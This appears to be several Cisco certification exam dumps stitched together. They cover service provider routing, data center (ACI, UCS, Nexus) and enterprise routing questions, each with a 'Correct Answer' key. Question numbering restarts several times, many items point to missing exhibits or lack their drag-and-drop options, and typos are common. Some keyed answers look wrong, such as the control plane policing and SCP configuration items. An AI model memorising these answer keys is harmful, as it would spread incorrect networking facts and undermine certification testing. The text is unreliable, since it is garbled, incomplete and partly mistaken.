Refer to the exhibit. Which BGP configuration must be applied to make PE3 use both BGP entries in the Cisco Express Forwarding table? A. On PE1,apply nexto-hop-self on both PE2 and PE3 neighbors configuration B. On the CE, apply bgp add-path on both PE1 and PE2 neighbors configuration C. On PE1, apply route-reflect-client on both PE2 and PE3 neighbors configuration D. On PE2, apply bgp advertise-best-external on the PE3 neighbor configuration Correct Answer: D
QUESTION 44
Refer to the exhibit. The requirements is to copy traffic from switch A and switch B and to send it to a probe connected to switch D across the routed network. Which technology meets this requirement? A. NetFlow v5 B. ERSPAN C. NetFlow v9 D. RSPAN Correct Answer: B
QUESTION 45 Network Operations team has configured the routers with the logging buffered warnings command. Which three severity levels appear in the router syslog? (Choose three) A. Informational B. Alerts C. Notifications D. Emergencies E. Errors F. Debugging Correct Answer: BDE
QUESTION 46
Refer to the exhibit. A company has four office locations, which are identified as 1,2,3 and 4. The PE routers at these locations have assigned RDs of 10:10 , 20:20, 30:30 and 40:40, respectively Locations 1 and 3 need to share routing information Which set of configurations allows for this requirement? A. Site 3: vrf defination ACME route-target import 10:20 route-target import 20:30 route-target import 40:40 B. Site 1: vrf defination ACME route-target import 15:15 Site 3 : vrf deination ACME route-target import 15:15 C. Site 1: vrf defination ACME route-target import 20:20 route-target import 30:30 route-target import 40:40 D. Site 1: vrf definition ACME route-target export 15:15 Site 3: vrf definition ACME route-target export 15:15 E. Site 1: vrf definition ACME route-target import 30:30 Site 3 : vrf definition ACME route-target import 10:10 Correct Answer: E
QUESTION 47 A service provider is offering VoIP services level agreement to customers. Which configuration provides validation that the service level agreement has been honored? A. ipsla 999 udp-jitter 209.165.200.225 1000 codec g729a tag VoIP-SLA ipsla schedule 999 life forever start-time now B. ipsla 999 icmp-jitter 209.165.200.225 tag VoIP-SLA ipsla schedule 999 life forerver start-time now C. ipsla 99 icmp-jitter 209.165.200.225 tos 160 ipsla schedule 999 life forever start-time now D. ipsla 999 udp-jitter 209.165.200.225 tos 160 ipsla schedule 99 life forever start-time now E. ipsla 999 udp-jitter 209.165.200.225 tos 160 ipsla schedule 999 life forever start-time now F. ipsla 999 udp-jitter 209.165.200.225 1000 codec g729a tos 160 ipsla schedule 99 life forever stat-time now Correct Answer: F
QUESTION 48
Refer to the exhibit the 2.6.6.6/32 prefix is flapping when PE1 is flapping. Which action can fox this issue? A. On PE2, allow only redistribution from BGP into IS-IS on PE3, allow only redistribution from IS-IS into BGP B. On PE2 and PE3 reconfigure redistribute BGP into IS-IS using the metric-type external parameter C. configure a sham link between PE2 and PE3 D. configure all IS-IS instances as level-1-only Correct Answer: A
QUESTION 49
Refer to the exhibit. Customer Y reported that internet traffic stopped for a few minute. The ISP ABC operation engineer identified that this occurred when ASBR1 router reloaded OSPF coverage faster than BGP. Which command prevent this happening? A. Graceful restart B. set-overload-bit on startup wait-for-bgp C. bfd min_rx 100 max_rx 100 multiplier 3 D. max-metric router-lsa on startup 300Correct Answer: D
QUESTION 50 Which three configuration sections are required on service provider PE router to enable IPv4 layer 3 VPN? (Choose three) A. Configure route targets that are used for importing and exporting customer VRF routes. B. Configure route distinguisher that is used for importing and exporting customer VRF routes. C. Implement MPLS for all customer-facing links. D. Configure the VPNv4 address-family under the MP-BGP configuration mode on the PE routers that participate in the customer VRF routing. E. Configure at least one interface that is assigned to a customer link as a member of the VRF F. Advertise customer route to all PE router by configure the IPv4 address-family under the MP-BGP configuration mode. Correct Answer: ADE
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QUESTION 1 Drag and drop the feature form the left onto the correct benefits on the right.
QUESTION 2 Drag and drop the spanning-tree port from the left onto the correct description on the right
QUESTION 3 Drag and drop the objects of the ACI policy model from left onto the correct definition on right.
QUESTION 4 Drag and drop the feature from the left onto the left onto the correct description on the right
QUESTION 5 Drag and drop me concept of Cisco UCS Director orchestrator from the left onto the correct description on the right.
QUESTION 6 Drag and drop terms at the Cisco Prime Service Catalog from the left onto the definition on the right.
QUESTION 7 Drag and drop the method from the left onto the correct description on the right.
QUESTION 8 An admin is updating an existing Cisco UCS environment to accommodate a new storage array that will be directly attached to the Cisco UCS. Unmanaged servers external to the Cisco UCS fabric interconnects will also access the new array existing Cisco UCS service profiles will be used to access the new storage array. Drag and drop the appropriate steps from left into the correct order on the right to migrate the Cisco UCS to support the new storage array
QUESTION 9 Drag and drop the correct port security configuration on the left to the correct action on the right.
QUESTION 10 Drag and drop the mode of operation on left onto the correct definition on right.
QUESTION 11 Drag and drop feature on the left onto the appropriate business benefits on the right
QUESTION 12 Drag and drop the actions in the left column into the right column in the order in which you would perform those actions in a step-by-step in-service software upgrade process
QUESTION 13 Drag and drop two configurations that should fail without data loss from the left column into the 2 Devices Lost column on the right.
QUESTION 14 Drag and drop the correct description on the left onto the protocols and features on the right. Not all options will be used.
QUESTION 15 Drag and drop sequence of the steps on left for ISSU software of dual supervisor switches to achieve a non-disruptive upgrade on the right.
QUESTION 16 Drag and drop the vPC feature on the left onto the correct description on the right.
QUESTION 17 Drag and drop the feature form the left onto the correct description on the right
QUESTION 18 Drag and drop the enlisted four offers from the left onto the correct Cisco ONE Enterprise Cloud Suite on the right.
QUESTION 19 Drag and drop components of policy drive Layer 4 – Layer 7 services in an ACI environment from left onto the correct definitions on the right.
QUESTION 20 Drag and drop the term about BFD session parameters from the left onto the correct defination on the right?
QUESTION 21 Drag and Drop the key components of LISP from left onto the correct definitions on the right
QUESTION 22 Drag and drop the feature from the left onto the correct benefit on the right.
QUESTION 23 Drag and Drop
QUESTION 24 Drag and drop the orchestration components form the lifet onto relevant Cisco UCS Director functionalities on the right.
QUESTION 25 You are setting up an ACI spine-leaf architecture and interconnecting the spine switches with the leaf switches. Which description of what happpen initial setup to activate these interlinks is true? A. Fabric Path must be configured on the interlinks B. The interlinks are Layer 2 connections and only the allowed VLAN list must be added. C. The links are creating a Layer 3 network, and all links must be configured as point-to-point links.D. An overlay is created automatically, which creates a setup where the uplinks do not need to be managed manually. Correct Answer: D
QUESTION 26 Which three LSA types are valid for OSPFv2? (Choose three) A. Router LSA: an LSA sent by every router. This LSA includes the state and the cost of all links and a list of all OSPFv2 neighbors on the link B. AS Internal LSA: an LSA generated by the ASBR. AS Internal LSAs are flooded only within the autonomous system C. Backbone Summary: an LSA sent by the backbone router to all the OSPF areas D. DR Summary LSA: an LSA sent by the DR router to all the others on network E. Default LSA: an LSA generated by the ASBR. These LSAs are used to propagate default route into OSPF F. Network LSA: an LSA sent by the DR. This LSA lists all routers in the multi-access network G. Opaque LSA: an LSA used to extend OSPF Correct Answer: AFG
QUESTION 27 Which statement about network ports in a UCS fabric interconnect is true? A. Network posts have BPDU Guard enabled. B. Network posts do not trunk any VLANs unless they are overridden in VLAN Manager. C. Network posts trunk all VLANs unless they are overridden in VLAN Manager. D. Network posts are placed into a port channel automatically. E. Network posts do not trunk any VLANs unless they are overridden in a pin group. Correct Answer: C
QUESTION 28 Which two statemetns about the Cisco Open SND Controller are true? (Choose two) A. It is a commerical distribution based on the OpenFlow controller. B. Your own, new ntwork service functions can be added via Java APIs. C. Security is enforced by using the Open Services Gateway Initiative framework. D. The controller is available as an appliance only. E. It can be used in multivendor environments. Correct Answer: BE
QUESTION 29 To test the API in a web browser, which commands must you configure to enable the feature API sandbox on the Cisco Nexus platform running NX-OS? A. switch(config)# feature nxos-api switch(config)# nxos-api sandbox B. switch(config)# feature api switch(config)# api sandbox C. switch(config)# feature nx-api switch(config)# nx-api sandbox D. switch(config)# feature nxapi switch(config)# nxapi sandbox Correct Answer: D
QUESTION 30 Which two guidelines apply to private VLAN configuration when you are running FabricPath? (Choose two) A. FabricPath ports can be put into a private VLAN B. On the F-Series modules, user-configured static MAC addresses are programmed on all forwarding engines that have ports in that VLAN C. All VLANs in a private VLAN must be in the same VLAN mode; either CE or FabricPath D. The system does support hierarchical static MAC addresses D. The F Series module support multiple SPAN destination ports or virtual SPAN. Correct Answer: BC
QUESTION 31 Which two statements about IP Source Guard are true? (Chooes two) A. IP Source Guard is independent of DHCP snooping to build and maintain the IP-MAC address binding table B. IP Source Guard requires that DHCP snooping is disabled C. IP Source Guard limits IP traffic on an interface to only those sources that have an IP-MAC address table entry or static IP source entry D. By default, IP Source Guard is enabled on all interfaces E. When you first enable IP Source Guard on an interface, you may experience disruption in IP traffic until the hosts on the interface receive a new IP address from a DHCP server Correct Answer: CE
QUESTION 32 Which option is the default FC-MAP? A. 0f:fc:00 B. 0e:fc:00 C. 0e:fe:00 D. 0f:fe:00 Correct Answer: B
QUESTION 33 Which two connectivity modes does Cisco RISE support? (Choose two) A. Directly connected. No virtual port channel is supported. B. Indirectly connected. Only Layer 3 adjacent. C. Indirectly connected. Only Layer 2 adjacent D. Indirectly connected. Layer 2 and Layer 3 adjacent. E. Directly connected. Virtual port channel is supported. Correct Answer: CE
QUESTION 34 Which two options can be used for server pool qualifications? (Choose two) A. chassis model B. RAID controller C. firmware version D. CPU stepping E. memory speed Correct Answer: DE
QUESTION 35 Which option is required by atomic counters to be leveraged in troubleshooting endpoint connecticity? A. Endpoints must be in different endpoint groups B. Endpoints must connect to different leaf switches C. Endpoints must connect to the same leaf switch D. Endpoints must be in different VRFs E. Endpoints muts be in different bridge domains Correct Answer: B
QUESTION 36 Which two guidelines and limitations of PTP on Cisco NX-OS are ture? (Choose two) A. PTP supports multicast, unicast, and anycast communication B. PTP can be enabled only on F – and M – Series module ports. C. PTP is limitless per network D. Only one PTP process can control all of the port clocks through the clock manager.E. PTP supports transport over UDP. Transport over Ethernet is not supported. Correct Answer: DE
QUESTION 37 You are configuring an ACI fabric with Layer 3 out connecticity you want to allow traffic to traverse from one extemal EPG to another extermal EPG.or alternatiyely to another internal EPG. Which option must be configured to permit the packets between these two EPGs, assuming the subnet is already being advertised correctly? A. Export Route Control B. Aggregate Export C. Security import subnet D. Import Route Control E. Aggregate Import Correct Answer: C
QUESTION 38 Which three statements are considered best practice when directly connecting converged network adapters to the fabric? (Choose three) A. Cisco Unified Fabric links must be configured as access ports and FCoE VLAN must not be configured as a native VLAN B. If MSTP is enabled, a seperate MST instance must be used for FCoE VLANs C. Cisco UF links must be configured as spanning-tree edge ports C. A shared VLAN can be used to carry traffic for each virtual fabric in the SAN ( for example, VLAN 1002 for VSAN 1, VSAN 2, and so on) D. Separate FCoE VLANs must be used for FCoE in SAN-A and SAN-B E. A blade switch must connect to multiple converged access switched in a topology. Correct Answer: BCE
QUESTION 39 Which three commands must be run to enable support of adapter-fex on an interface on a Cisco Nexus Switch? (Choose three) A. switchport mode vntag B. feature-set adaper-fex C. feature-set virtualization D. feature fex E. feature adapter-fex F. switchport mode adapter-fex Correct Answer: ACE
QUESTION 40 Which two guidelines and limitations of netflow on Cisco NX-OS are true? (Choose two) A. If you change a layer 2 interface to a layer 3 interface, the software converts the layer 2 netflow to layer 3 netflow automatically. B. It is optional to configure a valid record name C. The cisco nexus 2000 series fabric extender does not support bridged netflow. D. Only layer 2 netflow is applied on layer 2 interfaces, and only layer 3 netflow is applied on layer 3 interfaces. E. You must configure a source interface. If you do not configure a source interface, the exported remains in a disabled state. Correct Answer: DE
QUESTION 41 On a cluster with three APICs, on which APIC can you see actual device package logs? A. APIC 1 B. on the one that is a leader for device package service C. depending on the device package, on the APIC that is a leader for that device package D. depending on the tenant, on the APIC that is a leader for the shard for that particular tenant Correct Answer: A
QUESTION 42 Which two statements about VLAN trunking Protocol are true? (Choose two) A. On Cisco Nexus switches, VLAN TrunkingProtocol is enabled by default. B. VLAN Trunking Protocol is only supported on Layer 2 trunk interfaces C. Layer 2 trunk interfaces, Layer 2 port channels , and virtual port channels support VLAN Trunking Protocol functionality. D. VLAN Trunking Protocol is a Layer 2 messaging protocol that maintains VLAN consistency by managing the addition, deletion, and renaming of VLANs withing a VLAN Trunking Protocol domain. E. VLAN Trunking Protocol is a Layer 2 messaging protocol that maintains the interface VLAN configuringwithin a VLAN Trunking Protocol domain. Correct Answer: CD
QUESTION 43 Refer to the exhibit.This output is observed when troubleshooting a blade that is unable to boot from SAN.Which action must the cisco UCS administrator take to resolve this issue? adapter 1/7/1 (fls):1# lunlist vnic : 14 lifid:3 – FLOGI State: flogi est (fc_id 0x3a00c0) – PLOGI Sessions – WWNN 21:00:00:24:ff:77:77:f2:9a WWPN 21:00:00:24:ff:77:f2:9a fc_id 0x000000 LUN ID : 0x0000000000000000 acccess failure – REPORT LUNs Query Response – WWNN 21:00:00:24:ff:77:f2:99 WWPN 21:00:00:24:ff:77:f2:9a fc_id 0x000000 LUN’s configured (SCIS Type, Version, Vendor, Serial No) LUN ID : 0x0000000000000000 access failure – REPORT LUNs Query Response – Nameserver Query Response – WWPN: 21:00:00:24:ff:77:77:f2:98 – WWPN: 21:00:00:24:ff:77:77:f2:90
A. Check the zoning configuration on the fibre Channel switch B. Check the vHBA VSAN configuration in service profile C. Check the fatric interconnect storage upink ports D. Check the iscsi initiator group pool E. Check the LUN masking configuration on the storage array Correct Answer: A
QUESTION 44 Which three statements are true about redistribution of routes from L3Outs in an ACI Fabric? (Choose three) A. Routes are not redistributed to leaf switches where the same VRF is present B. ACI fabric runs MP-BGP C. Security import subnets control the forwarding of packets into and out of L3Out connections(data plane) D. Routes learned from L3Outs on border leaf switches are not redistributed into MP-BGP at the ingress lead. E. Route control subnets control the exchange of routing information(Prefixes) into and out of the fibric (control place) F. The routes are advertised to all external Layer 3 Outside connections Correct Answer: BCE
QUESTION 45 Refer ti the exhibit, which tool is this sample output from to troubleshoot an ACI fabric?A. traffic map B. traceroute C. iPing D. atomic counters Correct Answer: D
QUESTION 46 Which statement about IP-directed broadcast is true? A. When a directed broadcast packet reaches a switch that is direcrly connected to its destination subnet, that packet is “exploded” as a broadcast on the destination subnet B. All switches in the network forward an IP-directed broadcast in the same way they forward unicast IP packets C. An IP-directed broadcast is a packet whose destination address is a multicast group to send the packet to a group of hosts in a local or remote network D. All IP-redirected broadcast is an IP packet whose destination address is a valid unicast address, but which originates from a node that is itself part of that destination subnet Correct Answer: A
QUESTION 47 While doing service insertion with vASA with route peering, which two parts must be configured? (Choose two) A. Point-to-point non-broadcast mode B. The VM name must be specified when the L4-L7 device is created C. The path for interfaces must be specified when the L4-L7 device is created D. The chassis must be specified when the L4-L7 device is created E. The route peering profile must be specified when the L4-L7 Service Graph template is created Correct Answer: CE
QUESTION 48 Refer to the exhibit. Your application has a reduced health score.Upon inspection,you find a fault that impacts the health score. The fault currently is in the soaking lifecycle stare. Which two options are possible next steps while in this state? (Choose two)A. Acknowledge the fault. which immediately clears it from the system B. Once the soaking timer expires the fault ceases and no change is expected in sevenity level. C. The condition ceases by itself and goes into the soaking-clearing state D. The condition ceases by itself and automatically clears the fault E. The soaking timer expires and moves to the Raised sevenity Correct Answer: CE
QUESTION 49 Which three products are part of the Cisco Virtual Application Container Service? (Choose three) A. Cisco Nexus 9000 B. Cisco Nexus 1000v C. Application Policy Infrastructure Controller D. Cisco Prime Network Services Controller E. Cisco ASR 1000 Router F. Cisco Virtual Security Gateway Correct Answer: BDF
QUESTION 50 An administrator is reptacing a fabric interconnect.The failed interconnect was FI-A and was master at the time of failure.Which process brings the replacement fabric interconnect into the cluster? A. Connect the new FI-A to FI-B USING THE Layer 1/Layer 2 cables only.Sync the configuration when prompted.Connect the mangement interface when the configuration is synced. B. Connect the new FI-A to the management network and the Layer 1/Layer 2 links to the existing FI-B.Use the full state backup file to restore the configuration when prompted at the console. C. Connect the new FI-A to the management network only. Use the fuil state backup file to restore configuration through Cisco UCS Manager GUI.Connect the Layer 1/Layer 2 cables D. Connect the FI-A to the management network and the Layer 1/Layer 2 links to the existing FI-B. Use the all configuration backup file to restore the configuration through Cisco UCS Manager GUI E. Connect the new FI-A to the management network and the Layer 1/Layer 2 links to the existing FI-B Let the system sync with FI-B when promptend at the console Correct Answer: E
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QUESTION 1 Which two statements about EIGRP acknowledgement packets are true?(choose two) A. They are unicast B. They are Hello packets sent without data C. They can combine multiple packs in a single packet D. They are multicast E. They are broadcast F. They are required for every request packet Correct Answer: AB
QUESTION 2 Which set of commands conditionally advertises 172.16.0.0/24 as long as 10.10.10.10/32 is the routing table? A. neighbor x.x.x.x advertise-map ADV exist-map EXT route-map ADV match IP address prefix-list ADV route-map EXT match IP address prefix-list EXT ip prefix-list ADV permit 172.16.0.0/24 ip prefix-list EXT permit 10.10.10.10/32 B. neighbor x.x.x.x advertise-map ADV route-map ADV match IP address prefix-list ADV match IP address prefix-list EXT ip prefix-list ADV permit 172.16.0.0/24 ip prefix-list EXT permit 10.10.10.10/32 C. neighbor x.x.x.x advertise-map ADV route-map ADV match IP address prefix-list ADV match IP address prefix-list EXT ip prefix-list ADV permit 172.16.0.0/24 ip prefix-list EXT permit 10.10.10.10/32 D. neighbor x.x.x.x advertise-map ADV exist-map EXT route-map ADV match IP address prefix-list ADV route-map EXT match IP address prefix-list EXT ip prefix-list EXT permit 172.16.0.0/24 ip prefix-list ADV permit 10.10.10.10/32 Correct Answer: A
QUESTION 3 which two OSPF network type require the use of a DR and BDR?(choose two) A. broadcast networks B. point-to-multipoint network C. point-to-point non-broadcast networks D. non-broadcast networks E. point-to-point networks Correct Answer: AD
QUESTION 4 Which data format is used in this RESET API call?A. BASH B. XML C. HTML D. HTML v5 E. JSON Correct Answer: E
QUESTION 5 which three security controls would you take into consideration when implementing IoT capabilities? (choose three) A. Layered Security Approach B. Define lifecycle controls for IoT devices C. Implement Intrusion Detection Systems on IoT devices D. Privacy impact Assessment E. Place security above functionality F. Change passwords every 90 days Correct Answer: ABD
QUESTION 6 which two statements about the IS-IS cost metric are true?(choose two) A. The cost is calculated automatically based on the interface bandwidth and delay B. It is the only IS-IS metric supported on Cisco devices C. The cost is calculated automatically based on the delay only D. The cost is calculated automatically based on the interface bandwidth only E. A default cost of 1 is automatically assigned to all interface F. A default cost of 10 is automatically assigned to all interface Correct Answer: DF
QUESTION 7 which two configurations must you perform on a router so that you can use SCP to send configuration files to an external server?(choose two) A. Configure the crypto key encrypt rsa command B. Configure the ip scp server enable command C. Configure the login local command under the VTY lines D. Define a domain-name E. Configure the ip ssh version 2 command Correct Answer: AC
QUESTION 8 Which two route types are allowed to exit an EIGRPstub?(choose two) A. summary B. host C. static D. connected E. default Correct Answer: AD
QUESTION 9 Which two protocols are used by the management plane?(choose two) A. oSPF B. bGP C. DTP D. telnet E. ISSU F. TFTP Correct Answer: DF
QUESTION 10 When you implement the EIGRPadd-paths feature, which configuration can cause routing issues on a DMVPN circuit? A. disabling the default variance under the EIGRPprocess B. enable synchronization under the EIGRPprocess C. disabling ECMP mode under the EIGRPprocess D. disabling automatic summarization E. disabling NHRPwhen deploying EIGRPover DMVPN F. enabling next-hop-self under the EIGRPprocess Correct Answer: A
QUESTION 11 Refer to eh exhibit. You organization has two offices, Site 1 and Site 2, which are connected by a provider backbone, as shown where must you configure an attachment circuit to allow the two sites to connect over a Layer 2 network using L2TPv3? A. PE Site 1 Se0/0 and PE Site 2 Se0/0 B. PE Site 1 Fe1/0 and PE Site 2 Fe0/0 C. PE Site 1 Fe0/0 and PE Site 2 Se0/0 D. PE Site 1 Fe0/0 and PE Site 2 Fe0/0 Correct Answer: B
QUESTION 12 which two statements about route summarization are true?(choose two) A. When a packet is routed to a destination, the router chooses the most specific prefix from the routing table B. Routes are automatically summarized to their classful boundary with OSPF C. BGP sends both specific and aggregate routes unless the keyword “summary-only” is configured D. It is recommended for use on discontinuous networks E. EIGRPlearned routes are automatically summarized Correct Answer: AE
QUESTION 13 Router A(AS 65000)———————-Router C(AS 65005)———————–AS 65010 | | ————————-Router B(AS 65005)——————– Router CAS 65010 Path 65005 65010 65010 Local Preference 200 Med 200 Router B AS 65010 Path 65005 65010 Med 200 Refer to the exhibit.Router A is connected as a BGP neighbor to routers B and C. which path does router A use to get to AS 65010? A. through router B because it has the shortest AS path B. through router B because the default local preference is 500 and higher than router C C. will load balance because both routers have the same Med value D. through router C because it has a higher local preference Correct Answer: D
QUESTION 14 which two statements about IP SLA are true?(choose two) A. It uses NetFlow for passive traffic monitoring B. SNMP access is not supported C. It can measure MOS D. It is Layer 2 transport-independent E. The IP SLA responder is component in the source Cisco device F. It uses active traffic monitoring Correct Answer: DF
QUESTION 15 When you deploy DMVPN, what is the purpose of the command crypto isakmp key ciscotest address 0.0.0.0? A. It configured on hub to set the pre-shared key for the spoke routers B. It configured on the Internet PE routers to allow traffic to traverse the ISP core C. It configured on the spokes to indicate the hub router D. It configured on hub and spoke router to establish peering Correct Answer: A
QUESTION 16 which feature can be used to allow hosts with routes in the global routing table to access hosts in a VRF? A. route target communities B. address families C. route leaking D. extended communities Correct Answer: C
QUESTION 17 From which component does an IS-IS router construct its linke-state database? A. LSAs B. LSPs C. hello packets D. SPTs Correct Answer: B
QUESTION 18 Refer to the exhibit.
which two configurations must you apply to the master controller and the border router to provide then (choose two)? A. Border# key chain PFR key 0 key-string Cisco pfr border logging local loopback 0 B. Master# key chain PFR key 0 key-string Cisco pfr master logging border 10.1.1.3 key-chain PFR interface GigabitEthernet0/0/0 internal interface GigabitEthernet0/0/1 external interface GigabitEthernet0/0/2 external C. Border# key chain PFR key 0 key-string Cisco pfr border logging local loopback 0 master 10.1.1.1 key-chain PFR D. Master# key chain PFR key 0 key-string Cisco pfr master logging border 10.1.1.3 key-chain PFR interface GigabitEthernet0/0/1 internal interface GigabitEthernet0/0/0 external E. Master# key chain PFR key 0 key-string Cisco pfr borderlogging local loopback 0 master 10.1.1.1 key-chain PFR F. Border# key chain PFR key 0 key-string Cisco pfr master logging border 10.1.1.3 key-chain PFR interface GigabitEthernet0/0/1 internal interface GigabitEthernet0/0/0 external interface GigabitEthernet0/0/2 external Correct Answer: BC
QUESTION 19 how does control plane policing protect the route processor? A. It treats the route processor as a separate entity within MQC B. It disables access to the control plane during an attack C. It dynamically enables ingress ACLs on selected interfaces D. It marks non-essential traffic and moves it to the Scavenger class Correct Answer: C
QUESTION 20 … O E2 172.16.20.0/24 [10/20] via 10.32.32.2. 00:01:44, FastEthernet2/1 … Refer to the exhibit. which statement about the R3 network environment is true? A. 172.1.20.0/24 has an administrative distance of 20 B. The administrative distance for 172.16.X.X addresses is 110 C. OSPF external routes are preferred over OSPF internal routes D. RIP, OSPF and IS-IS are running Correct Answer: C
QUESTION 21 What can PfR passive monitoring mode measure for UDP flows? A. loss B. delay C. reachability D. throughput Correct Answer: D
QUESTION 22 hosts————————R1———–R2——————R3————Internet R1 int f0/0 ip add 192.168.12.1 255.255.255.0router ospf1 nwtwork 192,168.0.0 0.0.255.255 R2 int f0/0 ip add 192.168.12.2 255.255.255.0 router ospf1 nwtwork 192,168.0.0 0.0.255.255 default-information originate ip route 0.0.0.0 0.0.0.0 F0/1 Refer to the above. You notice that router R2 is experiencing high CPU usage. which action can you take to correct the problem? A. Configure the next-hop address for the R2 default route B. Configure OSPF on the connection between R2 and the ISP C. Configure R2 to advertise an area summary route between R2 and R1 D. Remove the default-information originate command from the R2 configuration Correct Answer: A
QUESTION 23 Which two statementsabout MSDP are true?(choose two) A. It requires multicast receivers to be in the same domain B. It uses loopback interfaces for anycast RPaddress C. It requires multicast sources to be in the same domain D. It uses 32-bit anycast RP address E. All MSDP domains on a given network can share a common RP F. It uses UDP to establish peering sessions Correct Answer: BD
QUESTION 24 You are using the limited scope multicast IP address 239.128.0.1 for a high volume data distribution application. what symptom would you expect to find in the network? A. The video traffic cannot be handled by a limited scope multicast address B. There is no problem and the network is performing smoothly , just as designed C. The high volume traffic is being sent to the 224.128.0.1 multicast address as well as on the original address, causing high network load on all multicast subnets D. The high volume application creates high network traffic load on all systems on the subnets where the video is being sent. Correct Answer: B
QUESTION 25 which three session tables does NAT64 maintain? A. UDP B. TCP C. 6rd D. 464XLATE. ICMP Query F. SIP Correct Answer: ABE
QUESTION 26 Which two events occur when a packet is decapsulated in a GRE tunnel?(Choose two) A. The destination IPv4 address in the IPv4 payload is used to forward the packet B. The source IPv4 address in the IPv4 payload is used to forward the packet C. The GRE keepalive mechanism is reset D. The version field in the GRE header is incremented E. The TTL of the payload packet is decremented F. The TTL of the payload packet is incremented Correct Answer: AE
QUESTION 27 R1#showip ospfinterface FastEthernet0/0.12 …Network Type Non_BROADCAST… … R2#showip ospfinterface FastEthernet0/0.12 …Network Type BROADCAST… … Refer to the exhibit. OSPF is configured on R1 and R2 as shown. which action can you take to allow a neighbor relationship to be established. A. On R1, change the process ID to 1 B. On R1, set the network type of the FastEthernet0/0.12 interface to broadcast C. Configure R1 and R2 as neighbors using interface addresses D. Configure R1 and R2 as neighbors using router IDs Correct Answer: B
QUESTION 28 which two statements about MLD are true?(choose two) A. The code section in the MLD message is set to 1 by the sender and ignored by receivers B. MLD is a subprotocol of PIMv6 C. There are three subtypes of MLD query messages D. MLD is a subprotocol of ICMPv6 E. When a single link supports multiple interfaces, only one interface is required to send MLD messages F. When a single link supports multiple interfaces, all supported interface is required to send MLD messages Correct Answer: DE
QUESTION 29 Which two statementsabout redistribution are true?((choose two)A. When BGP traffic is redistributed into OSPF, Ebgp and iBGP routes are advertised B. When EIGRP routes on a CE are redistributed through a PE into BGP, the Cost Community POI is set automatically C. When BGP traffic is redistributed into OSPF, the metric is set to 1 unless the metric is defined D. When OSPF traffic is redistributed into BGP , internal and external routes are redistributed E. iBGP routes automatically redistribute into the IGP if the routes are in the routing table F. When EIGRP traffic is redistributed into BGP, a default metric is required Correct Answer: BC
QUESTION 30 which statement about the BGP scope of the cost community is true? A. It is shared with IBGP neighbors and route reflectors B. It is shared with IBGP and EBGP neighbor C. It is shared with IBGP neighbors only D. It is shared with IBGP and confederation peers E. It is shared with EBGP neighbors only Correct Answer: D
QUESTION 31 which three statements about the route preference of IS-IS are true?(choose two) A. An L1 path is preferred over an L2 path B. Within each level, a path that supports optional metric is preferred over a path that supports only the default metric C. The Cisco IS-IS implementation usually performs equal cost path load balancing on up to eight paths. D. An L2 path is preferred over an L1 path E. Both L1 and L2 routes will be installed in the routing table at the same time F. Within each level of metric support, the path with the lowest metric is preferred. Correct Answer: ABF
QUESTION 32 which routing protocol is used on PE routers to exchange VPNv4 routes? A. OSPF B. OSPFv3 C. MB-BGP D. EIGRP Correct Answer: C
QUESTION 33 Which command sequence must you enter to configure SSH access to a Cisco router? A. A.ip ssh version ip domain-name crypto key zeroize B. B.hostname ip domain-lookup crypto key generate rsa C. C.hostname ip domain-name crypto key zeroize D. D.ip ssh version ip domain-name crypto key generate rsa E. E.ip shs version ip domain-lookup crypto key zeroize F. F.hostname ip domain-name crypto key generate rsa Correct Answer: F
QUESTION 34 which option describes how the IP address is assigned when you configure a Layer3 EtherChannel interface? A. The first IP address added to the EtherChannel is used automatically B. You must assign the IP address to a port channel logical interface C. The last IP address added to the EtherChannel is used automatically D. You must assign the IP address to the tunnel interface Correct Answer: B
QUESTION 35 Which option describes the purpose of the no ip next-hop-self eigrp configuration line in DMVPN deployment? A. It allows the spoke routers to change the next hop value when sending EIGRPupdates to the hub router B. It enables EIGRPto dynamically assign the next hop value based on the EIGRPdatabase C. It allows the spoke routers to change the next hop value when sending EIGRPupdates to the spoke router D. It preserves the original next hop value as learned by the spoke routers E. It preserves the original next hop value as learned by the hub routers Correct Answer: D
QUESTION 36 which type of IPv6 address is 2001:DB8::FFFF:FFFF/32? A. multicast address B. host address C. broadcast address D. anycast address Correct Answer: B
QUESTION 37 Refer to the exhibit.
R2 is configured with an IP helpler address on Gi0/0/0 and it is sharing routes with R1 using OSPF. If PC1 is configured to request an IP address from the DHCP server, which two statements correctly describe communications between the devices on the netwok?(choose two) A. R1 forwards DHCPREQUEST messages to IP address 172.16.1.100 B. PC1 sends DHCPDISCOVER messages to IP address 255.255.255.255 C. R1 forwards DHCPDISCOVER messages to IP address 255.255.255.255 D. PC1 sends DHCPREQUEST messages to IPaddress 255.255.255.255 E. R1 forwards DHCPOFFER messages to IP address 172.16.1.100Correct Answer: AB
QUESTION 38 when is it useful to disable split horizon on an EIGRP interface? A. Disable it when you want to sent routes that are learned from another routing protocol to peer on the same interface B. Disable it when you want to provide additional backup paths in your network C. It is never advisable to disable split horizon on an EIGRP interface D. Disable it when you need to send updates to peers on the interface on which the updates were received Correct Answer: D
QUESTION 39 Which two authentication options were new in SNMPv3 (Choose two) A. noAuth B. Auth C. noAuthNopriv D. authNoPriv E. authPriv F. Priv Correct Answer: CD
QUESTION 40 how does an EIGRProuter respond when it receives a query for a route it is in the process of poisoning? A. It forwards the query to other neighbors B. It adds the route to its route table C. It sends a posion squash message to the to the querying neighbor D. It notifies the querying neighbor to add the route Correct Answer: C
QUESTION 41 which condition must be true to allow an access port to trust QoS markings on an incoming frame? A. The switch must be configured globally with the vlan dot1q tag native command B. The switch must be configured globally with the mls qos trust cos command C. The port must be configured with the mls qos trust dscp command D. The port must be configured with the mls qos cos command Correct Answer: C
QUESTION 42 Which two statements about Cisco Express Forwarding load balancing are true?(choose two) A. Each hash maps directly to a single entry in the RIB B. Cisco Express Forwarding can load-balance over o maximum of two destinations C. It combines the source and destination IP address to create a hash for each destination D. It combines the source IP address subnet mask to create a hash for each destination E. Each hash maps directly to a single entry in the adjacency table Correct Answer: CE
QUESTION 43 which type of access-list will allow incoming traffic for sessions that originated from within your network? A. reflexive ACLs B. time-based ACLs C. dynamic ACLs D. standard ACLs Correct Answer: A
QUESTION 44 which two statements about route redistribution default metrics are true?(choose two) A. When IGP is redistributed into RIP, it has a default metric of 1 B. When IGP is redistributed into IS-IS, it has a default metric of 115 C. When IGP is redistributed into OSPF, it has a default metric of 110 D. When EIGRP is redistributed into OSPF as E2, it has a default metric of 20 E. When BGP is redistributed into OSPF, it has a default metric of 1 Correct Answer: DE
